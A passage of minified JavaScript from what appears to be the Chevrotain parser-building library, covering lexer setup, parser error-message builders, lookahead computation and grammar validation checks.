strict";YO();Yt();d1();Vp();QO();ZE();(function(t){t[t.MISSING_PATTERN=0]="MISSING_PATTERN",t[t.INVALID_PATTERN=1]="INVALID_PATTERN",t[t.EOI_ANCHOR_FOUND=2]="EOI_ANCHOR_FOUND",t[t.UNSUPPORTED_FLAGS_FOUND=3]="UNSUPPORTED_FLAGS_FOUND",t[t.DUPLICATE_PATTERNS_FOUND=4]="DUPLICATE_PATTERNS_FOUND",t[t.INVALID_GROUP_TYPE_FOUND=5]="INVALID_GROUP_TYPE_FOUND",t[t.PUSH_MODE_DOES_NOT_EXIST=6]="PUSH_MODE_DOES_NOT_EXIST",t[t.MULTI_MODE_LEXER_WITHOUT_DEFAULT_MODE=7]="MULTI_MODE_LEXER_WITHOUT_DEFAULT_MODE",t[t.MULTI_MODE_LEXER_WITHOUT_MODES_PROPERTY=8]="MULTI_MODE_LEXER_WITHOUT_MODES_PROPERTY",t[t.MULTI_MODE_LEXER_DEFAULT_MODE_VALUE_DOES_NOT_EXIST=9]="MULTI_MODE_LEXER_DEFAULT_MODE_VALUE_DOES_NOT_EXIST",t[t.LEXER_DEFINITION_CANNOT_CONTAIN_UNDEFINED=10]="LEXER_DEFINITION_CANNOT_CONTAIN_UNDEFINED",t[t.SOI_ANCHOR_FOUND=11]="SOI_ANCHOR_FOUND",t[t.EMPTY_MATCH_PATTERN=12]="EMPTY_MATCH_PATTERN",t[t.NO_LINE_BREAKS_FLAGS=13]="NO_LINE_BREAKS_FLAGS",t[t.UNREACHABLE_PATTERN=14]="UNREACHABLE_PATTERN",t[t.IDENTIFY_TERMINATOR=15]="IDENTIFY_TERMINATOR",t[t.CUSTOM_LINE_BREAK=16]="CUSTOM_LINE_BREAK",t[t.MULTI_MODE_LEXER_LONGER_ALT_NOT_IN_CURRENT_MODE=17]="MULTI_MODE_LEXER_LONGER_ALT_NOT_IN_CURRENT_MODE"})(Qn||(Qn={}));rb={deferDefinitionErrorsHandling:!1,positionTracking:"full",lineTerminatorsPattern:/\n|\r\n?/g,lineTerminatorCharacters:[` +`,"\r"],ensureOptimizations:!1,safeMode:!1,errorMessageProvider:x1,traceInitPerf:!1,skipValidations:!1,recoveryEnabled:!0};Object.freeze(rb);Zn=class{static{o(this,"Lexer")}constructor(e,r=rb){if(this.lexerDefinition=e,this.lexerDefinitionErrors=[],this.lexerDefinitionWarning=[],this.patternIdxToConfig={},this.charCodeToPatternIdxToConfig={},this.modes=[],this.emptyGroups={},this.trackStartLines=!0,this.trackEndLines=!0,this.hasCustom=!1,this.canModeBeOptimized={},this.TRACE_INIT=(i,a)=>{if(this.traceInitPerf===!0){this.traceInitIndent++;let s=new Array(this.traceInitIndent+1).join(" ");this.traceInitIndent <${i}>`);let{time:l,value:u}=Zx(a),h=l>10?console.warn:console.log;return this.traceInitIndent time: ${l}ms`),this.traceInitIndent--,u}else return a()},typeof r=="boolean")throw Error(`The second argument to the Lexer constructor is now an ILexerConfig Object. +a boolean 2nd argument is no longer supported`);this.config=pa({},rb,r);let n=this.config.traceInitPerf;n===!0?(this.traceInitMaxIdent=1/0,this.traceInitPerf=!0):typeof n=="number"&&(this.traceInitMaxIdent=n,this.traceInitPerf=!0),this.traceInitIndent=-1,this.TRACE_INIT("Lexer Constructor",()=>{let i,a=!0;this.TRACE_INIT("Lexer Config handling",()=>{if(this.config.lineTerminatorsPattern===rb.lineTerminatorsPattern)this.config.lineTerminatorsPattern=yde;else if(this.config.lineTerminatorCharacters===rb.lineTerminatorCharacters)throw Error(`Error: Missing property on the Lexer config. + For details See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#MISSING_LINE_TERM_CHARS`);if(r.safeMode&&r.ensureOptimizations)throw Error('"safeMode" and "ensureOptimizations" flags are mutually exclusive.');this.trackStartLines=/full|onlyStart/i.test(this.config.positionTracking),this.trackEndLines=/full/i.test(this.config.positionTracking),Bt(e)?i={modes:{defaultMode:ln(e)},defaultMode:y1}:(a=!1,i=ln(e))}),this.config.skipValidations===!1&&(this.TRACE_INIT("performRuntimeChecks",()=>{this.lexerDefinitionErrors=this.lexerDefinitionErrors.concat(dde(i,this.trackStartLines,this.config.lineTerminatorCharacters))}),this.TRACE_INIT("performWarningRuntimeChecks",()=>{this.lexerDefinitionWarning=this.lexerDefinitionWarning.concat(pde(i,this.trackStartLines,this.config.lineTerminatorCharacters))})),i.modes=i.modes?i.modes:{},Ae(i.modes,(l,u)=>{i.modes[u]=cf(l,h=>xr(h))});let s=qr(i.modes);if(Ae(i.modes,(l,u)=>{this.TRACE_INIT(`Mode: <${u}> processing`,()=>{if(this.modes.push(u),this.config.skipValidations===!1&&this.TRACE_INIT("validatePatterns",()=>{this.lexerDefinitionErrors=this.lexerDefinitionErrors.concat(fde(l,s))}),mr(this.lexerDefinitionErrors)){ju(l);let h;this.TRACE_INIT("analyzeTokenTypes",()=>{h=hde(l,{lineTerminatorCharacters:this.config.lineTerminatorCharacters,positionTracking:r.positionTracking,ensureOptimizations:r.ensureOptimizations,safeMode:r.safeMode,tracer:this.TRACE_INIT})}),this.patternIdxToConfig[u]=h.patternIdxToConfig,this.charCodeToPatternIdxToConfig[u]=h.charCodeToPatternIdxToConfig,this.emptyGroups=pa({},this.emptyGroups,h.emptyGroups),this.hasCustom=h.hasCustom||this.hasCustom,this.canModeBeOptimized[u]=h.canBeOptimized}})}),this.defaultMode=i.defaultMode,!mr(this.lexerDefinitionErrors)&&!this.config.deferDefinitionErrorsHandling){let u=rt(this.lexerDefinitionErrors,h=>h.message).join(`----------------------- +`);throw new Error(`Errors detected in definition of Lexer: +`+u)}Ae(this.lexerDefinitionWarning,l=>{Qx(l.message)}),this.TRACE_INIT("Choosing sub-methods implementations",()=>{if(jO?(this.chopInput=Qi,this.match=this.matchWithTest):(this.updateLastIndex=si,this.match=this.matchWithExec),a&&(this.handleModes=si),this.trackStartLines===!1&&(this.computeNewColumn=Qi),this.trackEndLines===!1&&(this.updateTokenEndLineColumnLocation=si),/full/i.test(this.config.positionTracking))this.createTokenInstance=this.createFullToken;else if(/onlyStart/i.test(this.config.positionTracking))this.createTokenInstance=this.createStartOnlyToken;else if(/onlyOffset/i.test(this.config.positionTracking))this.createTokenInstance=this.createOffsetOnlyToken;else throw Error(`Invalid config option: "${this.config.positionTracking}"`);this.hasCustom?(this.addToken=this.addTokenUsingPush,this.handlePayload=this.handlePayloadWithCustom):(this.addToken=this.addTokenUsingMemberAccess,this.handlePayload=this.handlePayloadNoCustom)}),this.TRACE_INIT("Failed Optimization Warnings",()=>{let l=Jr(this.canModeBeOptimized,(u,h,f)=>(h===!1&&u.push(f),u),[]);if(r.ensureOptimizations&&!mr(l))throw Error(`Lexer Modes: < ${l.join(", ")} > cannot be optimized. + Disable the "ensureOptimizations" lexer config flag to silently ignore this and run the lexer in an un-optimized mode. + Or inspect the console log for details on how to resolve these issues.`)}),this.TRACE_INIT("clearRegExpParserCache",()=>{ide()}),this.TRACE_INIT("toFastProperties",()=>{Jx(this)})})}tokenize(e,r=this.defaultMode){if(!mr(this.lexerDefinitionErrors)){let i=rt(this.lexerDefinitionErrors,a=>a.message).join(`----------------------- +`);throw new Error(`Unable to Tokenize because Errors detected in definition of Lexer: +`+i)}return this.tokenizeInternal(e,r)}tokenizeInternal(e,r){let n,i,a,s,l,u,h,f,d,p,m,g,y,v,x,b,T=e,S=T.length,w=0,k=0,A=this.hasCustom?0:Math.floor(e.length/10),C=new Array(A),R=[],I=this.trackStartLines?1:void 0,L=this.trackStartLines?1:void 0,E=mde(this.emptyGroups),D=this.trackStartLines,_=this.config.lineTerminatorsPattern,O=0,M=[],P=[],B=[],F=[];Object.freeze(F);let G;function $(){return M}o($,"getPossiblePatternsSlow");function U(J){let ue=Yc(J),re=P[ue];return re===void 0?F:re}o(U,"getPossiblePatternsOptimized");let j=o(J=>{if(B.length===1&&J.tokenType.PUSH_MODE===void 0){let ue=this.config.errorMessageProvider.buildUnableToPopLexerModeMessage(J);R.push({offset:J.startOffset,line:J.startLine,column:J.startColumn,length:J.image.length,message:ue})}else{B.pop();let ue=ma(B);M=this.patternIdxToConfig[ue],P=this.charCodeToPatternIdxToConfig[ue],O=M.length;let re=this.canModeBeOptimized[ue]&&this.config.safeMode===!1;P&&re?G=U:G=$}},"pop_mode");function te(J){B.push(J),P=this.charCodeToPatternIdxToConfig[J],M=this.patternIdxToConfig[J],O=M.length,O=M.length;let ue=this.canModeBeOptimized[J]&&this.config.safeMode===!1;P&&ue?G=U:G=$}o(te,"push_mode"),te.call(this,r);let Y,oe=this.config.recoveryEnabled;for(;wu.length){u=s,h=f,Y=ae;break}}}break}}if(u!==null){if(d=u.length,p=Y.group,p!==void 0&&(m=Y.tokenTypeIdx,g=this.createTokenInstance(u,w,m,Y.tokenType,I,L,d),this.handlePayload(g,h),p===!1?k=this.addToken(C,k,g):E[p].push(g)),e=this.chopInput(e,d),w=w+d,L=this.computeNewColumn(L,d),D===!0&&Y.canLineTerminator===!0){let ee=0,Z,K;_.lastIndex=0;do Z=_.test(u),Z===!0&&(K=_.lastIndex-1,ee++);while(Z===!0);ee!==0&&(I=I+ee,L=d-K,this.updateTokenEndLineColumnLocation(g,p,K,ee,I,L,d))}this.handleModes(Y,j,te,g)}else{let ee=w,Z=I,K=L,ae=oe===!1;for(;ae===!1&&w{"use strict";Yt();tb();Vp();o(Ku,"tokenLabel");o(ZO,"hasTokenLabel");RYe="parent",Sde="categories",Cde="label",Ade="group",_de="push_mode",Dde="pop_mode",Lde="longer_alt",Rde="line_breaks",Nde="start_chars_hint";o(Pf,"createToken");o(NYe,"createTokenInternal");yo=Pf({name:"EOF",pattern:Zn.NA});ju([yo]);o(Qu,"createTokenInstance");o(nb,"tokenMatcher")});var Zu,Mde,Gl,b1=N(()=>{"use strict";Up();Yt();ps();Zu={buildMismatchTokenMessage({expected:t,actual:e,previous:r,ruleName:n}){return`Expecting ${ZO(t)?`--> ${Ku(t)} <--`:`token of type --> ${t.name} <--`} but found --> '${e.image}' <--`},buildNotAllInputParsedMessage({firstRedundant:t,ruleName:e}){return"Redundant input, expecting EOF but found: "+t.image},buildNoViableAltMessage({expectedPathsPerAlt:t,actual:e,previous:r,customUserDescription:n,ruleName:i}){let a="Expecting: ",l=` +but found: '`+ea(e).image+"'";if(n)return a+n+l;{let u=Jr(t,(p,m)=>p.concat(m),[]),h=rt(u,p=>`[${rt(p,m=>Ku(m)).join(", ")}]`),d=`one of these possible Token sequences: +${rt(h,(p,m)=>` ${m+1}. ${p}`).join(` +`)}`;return a+d+l}},buildEarlyExitMessage({expectedIterationPaths:t,actual:e,customUserDescription:r,ruleName:n}){let i="Expecting: ",s=` +but found: '`+ea(e).image+"'";if(r)return i+r+s;{let u=`expecting at least one iteration which starts with one of these possible Token sequences:: + <${rt(t,h=>`[${rt(h,f=>Ku(f)).join(",")}]`).join(" ,")}>`;return i+u+s}}};Object.freeze(Zu);Mde={buildRuleNotFoundError(t,e){return"Invalid grammar, reference to a rule which is not defined: ->"+e.nonTerminalName+`<- +inside top level rule: ->`+t.name+"<-"}},Gl={buildDuplicateFoundError(t,e){function r(f){return f instanceof Ar?f.terminalType.name:f instanceof fn?f.nonTerminalName:""}o(r,"getExtraProductionArgument");let n=t.name,i=ea(e),a=i.idx,s=Xs(i),l=r(i),u=a>0,h=`->${s}${u?a:""}<- ${l?`with argument: ->${l}<-`:""} + appears more than once (${e.length} times) in the top level rule: ->${n}<-. + For further details see: https://chevrotain.io/docs/FAQ.html#NUMERICAL_SUFFIXES + `;return h=h.replace(/[ \t]+/g," "),h=h.replace(/\s\s+/g,` +`),h},buildNamespaceConflictError(t){return`Namespace conflict found in grammar. +The grammar has both a Terminal(Token) and a Non-Terminal(Rule) named: <${t.name}>. +To resolve this make sure each Terminal and Non-Terminal names are unique +This is easy to accomplish by using the convention that Terminal names start with an uppercase letter +and Non-Terminal names start with a lower case letter.`},buildAlternationPrefixAmbiguityError(t){let e=rt(t.prefixPath,i=>Ku(i)).join(", "),r=t.alternation.idx===0?"":t.alternation.idx;return`Ambiguous alternatives: <${t.ambiguityIndices.join(" ,")}> due to common lookahead prefix +in inside <${t.topLevelRule.name}> Rule, +<${e}> may appears as a prefix path in all these alternatives. +See: https://chevrotain.io/docs/guide/resolving_grammar_errors.html#COMMON_PREFIX +For Further details.`},buildAlternationAmbiguityError(t){let e=rt(t.prefixPath,i=>Ku(i)).join(", "),r=t.alternation.idx===0?"":t.alternation.idx,n=`Ambiguous Alternatives Detected: <${t.ambiguityIndices.join(" ,")}> in inside <${t.topLevelRule.name}> Rule, +<${e}> may appears as a prefix path in all these alternatives. +`;return n=n+`See: https://chevrotain.io/docs/guide/resolving_grammar_errors.html#AMBIGUOUS_ALTERNATIVES +For Further details.`,n},buildEmptyRepetitionError(t){let e=Xs(t.repetition);return t.repetition.idx!==0&&(e+=t.repetition.idx),`The repetition <${e}> within Rule <${t.topLevelRule.name}> can never consume any tokens. +This could lead to an infinite loop.`},buildTokenNameError(t){return"deprecated"},buildEmptyAlternationError(t){return`Ambiguous empty alternative: <${t.emptyChoiceIdx+1}> in inside <${t.topLevelRule.name}> Rule. +Only the last alternative may be an empty alternative.`},buildTooManyAlternativesError(t){return`An Alternation cannot have more than 256 alternatives: + inside <${t.topLevelRule.name}> Rule. + has ${t.alternation.definition.length+1} alternatives.`},buildLeftRecursionError(t){let e=t.topLevelRule.name,r=rt(t.leftRecursionPath,a=>a.name),n=`${e} --> ${r.concat([e]).join(" --> ")}`;return`Left Recursion found in grammar. +rule: <${e}> can be invoked from itself (directly or indirectly) +without consuming any Tokens. The grammar path that causes this is: + ${n} + To fix this refactor your grammar to remove the left recursion. +see: https://en.wikipedia.org/wiki/LL_parser#Left_factoring.`},buildInvalidRuleNameError(t){return"deprecated"},buildDuplicateRuleNameError(t){let e;return t.topLevelRule instanceof fs?e=t.topLevelRule.name:e=t.topLevelRule,`Duplicate definition, rule: ->${e}<- is already defined in the grammar: ->${t.grammarName}<-`}}});function Ide(t,e){let r=new JO(t,e);return r.resolveRefs(),r.errors}var JO,Ode=N(()=>{"use strict";js();Yt();ps();o(Ide,"resolveGrammar");JO=class extends ds{static{o(this,"GastRefResolverVisitor")}constructor(e,r){super(),this.nameToTopRule=e,this.errMsgProvider=r,this.errors=[]}resolveRefs(){Ae(kr(this.nameToTopRule),e=>{this.currTopLevel=e,e.accept(this)})}visitNonTerminal(e){let r=this.nameToTopRule[e.nonTerminalName];if(r)e.referencedRule=r;else{let n=this.errMsgProvider.buildRuleNotFoundError(this.currTopLevel,e);this.errors.push({message:n,type:Gi.UNRESOLVED_SUBRULE_REF,ruleName:this.currTopLevel.name,unresolvedRefName:e.nonTerminalName})}}}});function sS(t,e,r=[]){r=ln(r);let n=[],i=0;function a(l){return l.concat(yi(t,i+1))}o(a,"remainingPathWith");function s(l){let u=sS(a(l),e,r);return n.concat(u)}for(o(s,"getAlternativesForProd");r.length{mr(u.definition)===!1&&(n=s(u.definition))}),n;if(l instanceof Ar)r.push(l.terminalType);else throw Error("non exhaustive match")}i++}return n.push({partialPath:r,suffixDef:yi(t,i)}),n}function oS(t,e,r,n){let i="EXIT_NONE_TERMINAL",a=[i],s="EXIT_ALTERNATIVE",l=!1,u=e.length,h=u-n-1,f=[],d=[];for(d.push({idx:-1,def:t,ruleStack:[],occurrenceStack:[]});!mr(d);){let p=d.pop();if(p===s){l&&ma(d).idx<=h&&d.pop();continue}let m=p.def,g=p.idx,y=p.ruleStack,v=p.occurrenceStack;if(mr(m))continue;let x=m[0];if(x===i){let b={idx:g,def:yi(m),ruleStack:Bu(y),occurrenceStack:Bu(v)};d.push(b)}else if(x instanceof Ar)if(g=0;b--){let T=x.definition[b],S={idx:g,def:T.definition.concat(yi(m)),ruleStack:y,occurrenceStack:v};d.push(S),d.push(s)}else if(x instanceof Pn)d.push({idx:g,def:x.definition.concat(yi(m)),ruleStack:y,occurrenceStack:v});else if(x instanceof fs)d.push(MYe(x,g,y,v));else throw Error("non exhaustive match")}return f}function MYe(t,e,r,n){let i=ln(r);i.push(t.name);let a=ln(n);return a.push(1),{idx:e,def:t.definition,ruleStack:i,occurrenceStack:a}}var eP,nS,T1,iS,ib,aS,ab,sb=N(()=>{"use strict";Yt();GO();jE();ps();eP=class extends Yu{static{o(this,"AbstractNextPossibleTokensWalker")}constructor(e,r){super(),this.topProd=e,this.path=r,this.possibleTokTypes=[],this.nextProductionName="",this.nextProductionOccurrence=0,this.found=!1,this.isAtEndOfPath=!1}startWalking(){if(this.found=!1,this.path.ruleStack[0]!==this.topProd.name)throw Error("The path does not start with the walker's top Rule!");return this.ruleStack=ln(this.path.ruleStack).reverse(),this.occurrenceStack=ln(this.path.occurrenceStack).reverse(),this.ruleStack.pop(),this.occurrenceStack.pop(),this.updateExpectedNext(),this.walk(this.topProd),this.possibleTokTypes}walk(e,r=[]){this.found||super.walk(e,r)}walkProdRef(e,r,n){if(e.referencedRule.name===this.nextProductionName&&e.idx===this.nextProductionOccurrence){let i=r.concat(n);this.updateExpectedNext(),this.walk(e.referencedRule,i)}}updateExpectedNext(){mr(this.ruleStack)?(this.nextProductionName="",this.nextProductionOccurrence=0,this.isAtEndOfPath=!0):(this.nextProductionName=this.ruleStack.pop(),this.nextProductionOccurrence=this.occurrenceStack.pop())}},nS=class extends eP{static{o(this,"NextAfterTokenWalker")}constructor(e,r){super(e,r),this.path=r,this.nextTerminalName="",this.nextTerminalOccurrence=0,this.nextTerminalName=this.path.lastTok.name,this.nextTerminalOccurrence=this.path.lastTokOccurrence}walkTerminal(e,r,n){if(this.isAtEndOfPath&&e.terminalType.name===this.nextTerminalName&&e.idx===this.nextTerminalOccurrence&&!this.found){let i=r.concat(n),a=new Pn({definition:i});this.possibleTokTypes=zp(a),this.found=!0}}},T1=class extends Yu{static{o(this,"AbstractNextTerminalAfterProductionWalker")}constructor(e,r){super(),this.topRule=e,this.occurrence=r,this.result={token:void 0,occurrence:void 0,isEndOfRule:void 0}}startWalking(){return this.walk(this.topRule),this.result}},iS=class extends T1{static{o(this,"NextTerminalAfterManyWalker")}walkMany(e,r,n){if(e.idx===this.occurrence){let i=ea(r.concat(n));this.result.isEndOfRule=i===void 0,i instanceof Ar&&(this.result.token=i.terminalType,this.result.occurrence=i.idx)}else super.walkMany(e,r,n)}},ib=class extends T1{static{o(this,"NextTerminalAfterManySepWalker")}walkManySep(e,r,n){if(e.idx===this.occurrence){let i=ea(r.concat(n));this.result.isEndOfRule=i===void 0,i instanceof Ar&&(this.result.token=i.terminalType,this.result.occurrence=i.idx)}else super.walkManySep(e,r,n)}},aS=class extends T1{static{o(this,"NextTerminalAfterAtLeastOneWalker")}walkAtLeastOne(e,r,n){if(e.idx===this.occurrence){let i=ea(r.concat(n));this.result.isEndOfRule=i===void 0,i instanceof Ar&&(this.result.token=i.terminalType,this.result.occurrence=i.idx)}else super.walkAtLeastOne(e,r,n)}},ab=class extends T1{static{o(this,"NextTerminalAfterAtLeastOneSepWalker")}walkAtLeastOneSep(e,r,n){if(e.idx===this.occurrence){let i=ea(r.concat(n));this.result.isEndOfRule=i===void 0,i instanceof Ar&&(this.result.token=i.terminalType,this.result.occurrence=i.idx)}else super.walkAtLeastOneSep(e,r,n)}};o(sS,"possiblePathsFrom");o(oS,"nextPossibleTokensAfter");o(MYe,"expandTopLevelRule")});function ob(t){if(t instanceof dn||t==="Option")return Jn.OPTION;if(t instanceof zr||t==="Repetition")return Jn.REPETITION;if(t instanceof Bn||t==="RepetitionMandatory")return Jn.REPETITION_MANDATORY;if(t instanceof Fn||t==="RepetitionMandatoryWithSeparator")return Jn.REPETITION_MANDATORY_WITH_SEPARATOR;if(t instanceof _n||t==="RepetitionWithSeparator")return Jn.REPETITION_WITH_SEPARATOR;if(t instanceof Dn||t==="Alternation")return Jn.ALTERNATION;throw Error("non exhaustive match")}function cS(t){let{occurrence:e,rule:r,prodType:n,maxLookahead:i}=t,a=ob(n);return a===Jn.ALTERNATION?w1(e,r,i):k1(e,r,a,i)}function Bde(t,e,r,n,i,a){let s=w1(t,e,r),l=Ude(s)?v1:Xu;return a(s,n,l,i)}function Fde(t,e,r,n,i,a){let s=k1(t,e,i,r),l=Ude(s)?v1:Xu;return a(s[0],l,n)}function $de(t,e,r,n){let i=t.length,a=Pa(t,s=>Pa(s,l=>l.length===1));if(e)return function(s){let l=rt(s,u=>u.GATE);for(let u=0;uQr(u)),l=Jr(s,(u,h,f)=>(Ae(h,d=>{Ft(u,d.tokenTypeIdx)||(u[d.tokenTypeIdx]=f),Ae(d.categoryMatches,p=>{Ft(u,p)||(u[p]=f)})}),u),{});return function(){let u=this.LA(1);return l[u.tokenTypeIdx]}}else return function(){for(let s=0;sa.length===1),i=t.length;if(n&&!r){let a=Qr(t);if(a.length===1&&mr(a[0].categoryMatches)){let l=a[0].tokenTypeIdx;return function(){return this.LA(1).tokenTypeIdx===l}}else{let s=Jr(a,(l,u,h)=>(l[u.tokenTypeIdx]=!0,Ae(u.categoryMatches,f=>{l[f]=!0}),l),[]);return function(){let l=this.LA(1);return s[l.tokenTypeIdx]===!0}}}else return function(){e:for(let a=0;asS([s],1)),n=Pde(r.length),i=rt(r,s=>{let l={};return Ae(s,u=>{let h=tP(u.partialPath);Ae(h,f=>{l[f]=!0})}),l}),a=r;for(let s=1;s<=e;s++){let l=a;a=Pde(l.length);for(let u=0;u{let x=tP(v.partialPath);Ae(x,b=>{i[u][b]=!0})})}}}}return n}function w1(t,e,r,n){let i=new lS(t,Jn.ALTERNATION,n);return e.accept(i),Gde(i.result,r)}function k1(t,e,r,n){let i=new lS(t,r);e.accept(i);let a=i.result,l=new rP(e,t,r).startWalking(),u=new Pn({definition:a}),h=new Pn({definition:l});return Gde([u,h],n)}function uS(t,e){e:for(let r=0;r{let i=e[n];return r===i||i.categoryMatchesMap[r.tokenTypeIdx]})}function Ude(t){return Pa(t,e=>Pa(e,r=>Pa(r,n=>mr(n.categoryMatches))))}var Jn,rP,lS,E1=N(()=>{"use strict";Yt();sb();jE();Vp();ps();(function(t){t[t.OPTION=0]="OPTION",t[t.REPETITION=1]="REPETITION",t[t.REPETITION_MANDATORY=2]="REPETITION_MANDATORY",t[t.REPETITION_MANDATORY_WITH_SEPARATOR=3]="REPETITION_MANDATORY_WITH_SEPARATOR",t[t.REPETITION_WITH_SEPARATOR=4]="REPETITION_WITH_SEPARATOR",t[t.ALTERNATION=5]="ALTERNATION"})(Jn||(Jn={}));o(ob,"getProdType");o(cS,"getLookaheadPaths");o(Bde,"buildLookaheadFuncForOr");o(Fde,"buildLookaheadFuncForOptionalProd");o($de,"buildAlternativesLookAheadFunc");o(zde,"buildSingleAlternativeLookaheadFunction");rP=class extends Yu{static{o(this,"RestDefinitionFinderWalker")}constructor(e,r,n){super(),this.topProd=e,this.targetOccurrence=r,this.targetProdType=n}startWalking(){return this.walk(this.topProd),this.restDef}checkIsTarget(e,r,n,i){return e.idx===this.targetOccurrence&&this.targetProdType===r?(this.restDef=n.concat(i),!0):!1}walkOption(e,r,n){this.checkIsTarget(e,Jn.OPTION,r,n)||super.walkOption(e,r,n)}walkAtLeastOne(e,r,n){this.checkIsTarget(e,Jn.REPETITION_MANDATORY,r,n)||super.walkOption(e,r,n)}walkAtLeastOneSep(e,r,n){this.checkIsTarget(e,Jn.REPETITION_MANDATORY_WITH_SEPARATOR,r,n)||super.walkOption(e,r,n)}walkMany(e,r,n){this.checkIsTarget(e,Jn.REPETITION,r,n)||super.walkOption(e,r,n)}walkManySep(e,r,n){this.checkIsTarget(e,Jn.REPETITION_WITH_SEPARATOR,r,n)||super.walkOption(e,r,n)}},lS=class extends ds{static{o(this,"InsideDefinitionFinderVisitor")}constructor(e,r,n){super(),this.targetOccurrence=e,this.targetProdType=r,this.targetRef=n,this.result=[]}checkIsTarget(e,r){e.idx===this.targetOccurrence&&this.targetProdType===r&&(this.targetRef===void 0||e===this.targetRef)&&(this.result=e.definition)}visitOption(e){this.checkIsTarget(e,Jn.OPTION)}visitRepetition(e){this.checkIsTarget(e,Jn.REPETITION)}visitRepetitionMandatory(e){this.checkIsTarget(e,Jn.REPETITION_MANDATORY)}visitRepetitionMandatoryWithSeparator(e){this.checkIsTarget(e,Jn.REPETITION_MANDATORY_WITH_SEPARATOR)}visitRepetitionWithSeparator(e){this.checkIsTarget(e,Jn.REPETITION_WITH_SEPARATOR)}visitAlternation(e){this.checkIsTarget(e,Jn.ALTERNATION)}};o(Pde,"initializeArrayOfArrays");o(tP,"pathToHashKeys");o(IYe,"isUniquePrefixHash");o(Gde,"lookAheadSequenceFromAlternatives");o(w1,"getLookaheadPathsForOr");o(k1,"getLookaheadPathsForOptionalProd");o(uS,"containsPath");o(Vde,"isStrictPrefixOfPath");o(Ude,"areTokenCategoriesNotUsed")});function Hde(t){let e=t.lookaheadStrategy.validate({rules:t.rules,tokenTypes:t.tokenTypes,grammarName:t.grammarName});return rt(e,r=>Object.assign({type:Gi.CUSTOM_LOOKAHEAD_VALIDATION},r))}function qde(t,e,r,n){let i=ga(t,u=>OYe(u,r)),a=GYe(t,e,r),s=ga(t,u=>FYe(u,r)),l=ga(t,u=>BYe(u,t,n,r));return i.concat(a,s,l)}function OYe(t,e){let r=new nP;t.accept(r);let n=r.allProductions,i=DR(n,PYe),a=Vs(i,l=>l.length>1);return rt(kr(a),l=>{let u=ea(l),h=e.buildDuplicateFoundError(t,l),f=Xs(u),d={message:h,type:Gi.DUPLICATE_PRODUCTIONS,ruleName:t.name,dslName:f,occurrence:u.idx},p=Wde(u);return p&&(d.parameter=p),d})}function PYe(t){return`${Xs(t)}_#_${t.idx}_#_${Wde(t)}`}function Wde(t){return t instanceof Ar?t.terminalType.name:t instanceof fn?t.nonTerminalName:""}function BYe(t,e,r,n){let i=[];if(Jr(e,(s,l)=>l.name===t.name?s+1:s,0)>1){let s=n.buildDuplicateRuleNameError({topLevelRule:t,grammarName:r});i.push({message:s,type:Gi.DUPLICATE_RULE_NAME,ruleName:t.name})}return i}function Yde(t,e,r){let n=[],i;return jn(e,t)||(i=`Invalid rule override, rule: ->${t}<- cannot be overridden in the grammar: ->${r}<-as it is not defined in any of the super grammars `,n.push({message:i,type:Gi.INVALID_RULE_OVERRIDE,ruleName:t})),n}function aP(t,e,r,n=[]){let i=[],a=hS(e.definition);if(mr(a))return[];{let s=t.name;jn(a,t)&&i.push({message:r.buildLeftRecursionError({topLevelRule:t,leftRecursionPath:n}),type:Gi.LEFT_RECURSION,ruleName:s});let u=lf(a,n.concat([t])),h=ga(u,f=>{let d=ln(n);return d.push(f),aP(t,f,r,d)});return i.concat(h)}}function hS(t){let e=[];if(mr(t))return e;let r=ea(t);if(r instanceof fn)e.push(r.referencedRule);else if(r instanceof Pn||r instanceof dn||r instanceof Bn||r instanceof Fn||r instanceof _n||r instanceof zr)e=e.concat(hS(r.definition));else if(r instanceof Dn)e=Qr(rt(r.definition,a=>hS(a.definition)));else if(!(r instanceof Ar))throw Error("non exhaustive match");let n=$p(r),i=t.length>1;if(n&&i){let a=yi(t);return e.concat(hS(a))}else return e}function Xde(t,e){let r=new lb;t.accept(r);let n=r.alternations;return ga(n,a=>{let s=Bu(a.definition);return ga(s,(l,u)=>{let h=oS([l],[],Xu,1);return mr(h)?[{message:e.buildEmptyAlternationError({topLevelRule:t,alternation:a,emptyChoiceIdx:u}),type:Gi.NONE_LAST_EMPTY_ALT,ruleName:t.name,occurrence:a.idx,alternative:u+1}]:[]})})}function jde(t,e,r){let n=new lb;t.accept(n);let i=n.alternations;return i=cf(i,s=>s.ignoreAmbiguities===!0),ga(i,s=>{let l=s.idx,u=s.maxLookahead||e,h=w1(l,t,u,s),f=$Ye(h,s,t,r),d=zYe(h,s,t,r);return f.concat(d)})}function FYe(t,e){let r=new lb;t.accept(r);let n=r.alternations;return ga(n,a=>a.definition.length>255?[{message:e.buildTooManyAlternativesError({topLevelRule:t,alternation:a}),type:Gi.TOO_MANY_ALTS,ruleName:t.name,occurrence:a.idx}]:[])}function Kde(t,e,r){let n=[];return Ae(t,i=>{let a=new iP;i.accept(a);let s=a.allProductions;Ae(s,l=>{let u=ob(l),h=l.maxLookahead||e,f=l.idx,p=k1(f,i,u,h)[0];if(mr(Qr(p))){let m=r.buildEmptyRepetitionError({topLevelRule:i,repetition:l});n.push({message:m,type:Gi.NO_NON_EMPTY_LOOKAHEAD,ruleName:i.name})}})}),n}function $Ye(t,e,r,n){let i=[],a=Jr(t,(l,u,h)=>(e.definition[h].ignoreAmbiguities===!0||Ae(u,f=>{let d=[h];Ae(t,(p,m)=>{h!==m&&uS(p,f)&&e.definition[m].ignoreAmbiguities!==!0&&d.push(m)}),d.length>1&&!uS(i,f)&&(i.push(f),l.push({alts:d,path:f}))}),l),[]);return rt(a,l=>{let u=rt(l.alts,f=>f+1);return{message:n.buildAlternationAmbiguityError({topLevelRule:r,alternation:e,ambiguityIndices:u,prefixPath:l.path}),type:Gi.AMBIGUOUS_ALTS,ruleName:r.name,occurrence:e.idx,alternatives:l.alts}})}function zYe(t,e,r,n){let i=Jr(t,(s,l,u)=>{let h=rt(l,f=>({idx:u,path:f}));return s.concat(h)},[]);return _c(ga(i,s=>{if(e.definition[s.idx].ignoreAmbiguities===!0)return[];let u=s.idx,h=s.path,f=Zr(i,p=>e.definition[p.idx].ignoreAmbiguities!==!0&&p.idx{let m=[p.idx+1,u+1],g=e.idx===0?"":e.idx;return{message:n.buildAlternationPrefixAmbiguityError({topLevelRule:r,alternation:e,ambiguityIndices:m,prefixPath:p.path}),type:Gi.AMBIGUOUS_PREFIX_ALTS,ruleName:r.name,occurrence:g,alternatives:m}})}))}function GYe(t,e,r){let n=[],i=rt(e,a=>a.name);return Ae(t,a=>{let 